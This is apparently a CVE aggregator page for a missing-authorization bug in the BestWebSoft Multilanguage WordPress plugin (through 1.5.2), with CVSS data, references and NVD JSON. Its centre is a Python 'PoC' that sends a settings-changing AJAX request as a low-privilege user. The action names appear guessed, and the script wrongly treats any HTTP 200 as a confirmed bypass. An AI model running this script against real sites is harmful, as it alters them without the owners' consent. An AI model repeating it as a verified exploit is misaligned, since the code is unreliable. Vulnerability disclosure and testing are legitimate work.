CVE-2026-24598

Description

Missing Authorization vulnerability in bestwebsoft Multilanguage by BestWebSoft multilanguage allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Multilanguage by BestWebSoft: from n/a through <= 1.5.2.

CVSS Details

CVSS Score

4.3

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Multilanguage by BestWebSoft插件 <= 1.5.2

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

# CVE-2026-24598 PoC - Multilanguage插件授权绕过
import requests
import sys

TARGET_URL = "http://target-wordpress-site.com"
VULN_ENDPOINT = f"{TARGET_URL}/wp-admin/admin-ajax.php"

def exploit_cve_2026_24598():
    """
    Exploits Missing Authorization vulnerability in Multilanguage plugin
    Allows low-privilege users to perform admin actions
    """
    headers = {
        "Content-Type": "application/x-www-form-urlencoded",
        "User-Agent": "Mozilla/5.0"
    }
    
    # Low-privilege user session (subscriber role)
    cookies = {
        "wordpress_test_cookie": "WP+Cookie+check",
        # Add authenticated user cookies here
    }
    
    # Exploit payload - unauthorized language management action
    data = {
        "action": "mling_admin_action",  # Plugin AJAX action
        "task": "save_language_settings",
        "lang_code": "en",
        "lang_options[default]": "1"
    }
    
    try:
        print(f"[*] Sending exploit request to {VULN_ENDPOINT}")
        response = requests.post(VULN_ENDPOINT, data=data, headers=headers, cookies=cookies, timeout=10)
        
        if response.status_code == 200:
            print("[+] Request successful - Authorization bypass confirmed")
            print(f"[*] Response: {response.text[:200]}")
        else:
            print(f"[-] Request failed with status: {response.status_code}")
            
    except requests.exceptions.RequestException as e:
        print(f"[-] Connection error: {e}")

if __name__ == "__main__":
    exploit_cve_2026_24598()

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-24598
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-24598
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-24598/
[4] VulDB https://vuldb.com/cve/CVE-2026-24598
[5] https://patchstack.com/database/Wordpress/Plugin/multilanguage/vulnerability/wordpress-multilanguage-by-bestwebsoft-plugin-1-5-2-broken-access-control-vulnerability?_s_id=cve

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-24598", "sourceIdentifier": "[email protected]", "published": "2026-01-23T15:16:17.953", "lastModified": "2026-04-28T15:16:18.097", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Missing Authorization vulnerability in bestwebsoft Multilanguage by BestWebSoft multilanguage allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Multilanguage by BestWebSoft: from n/a through <= 1.5.2."}, {"lang": "es", "value": "Vulnerabilidad de autorización faltante en bestwebsoft Multilanguage por BestWebSoft multilanguage permite explotar niveles de seguridad de control de acceso configurados incorrectamente. Este problema afecta a Multilanguage por BestWebSoft: desde n/a hasta <= 1.5.2."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/multilanguage/vulnerability/wordpress-multilanguage-by-bestwebsoft-plugin-1-5-2-broken-access-control-vulnerability?_s_id=cve", "source": "[email protected]"}]}}